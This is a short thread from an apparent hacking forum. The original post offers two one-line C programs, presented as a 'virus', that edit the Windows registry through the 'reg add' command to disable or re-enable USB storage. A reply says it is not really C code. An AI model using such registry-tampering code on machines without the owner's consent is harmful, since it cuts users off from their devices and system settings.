Sinisterly
Simple Virus for USB ports - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: C, C++, & Obj-C (https://sinister.li/Forum-C-C-Obj-C)
+--- Thread: Simple Virus for USB ports (/Thread-Simple-Virus-for-USB-ports)



Simple Virus for USB ports - Psycho_Coder - 04-10-2012

Code to block all USB ports

Code:
#include<stdio.h> void main() { system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f"); }

Code to unblock all USB ports

Code:
#include<stdio.h> void main() { system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f"); }



RE: Simple Virus for USB ports - Frooxius - 04-10-2012

This has actually nothing to do with the C/C++ language. I suggest either posting it in the batch and shell scripting section or using WinAPI methods in actual C language to alter the registry and other system settings.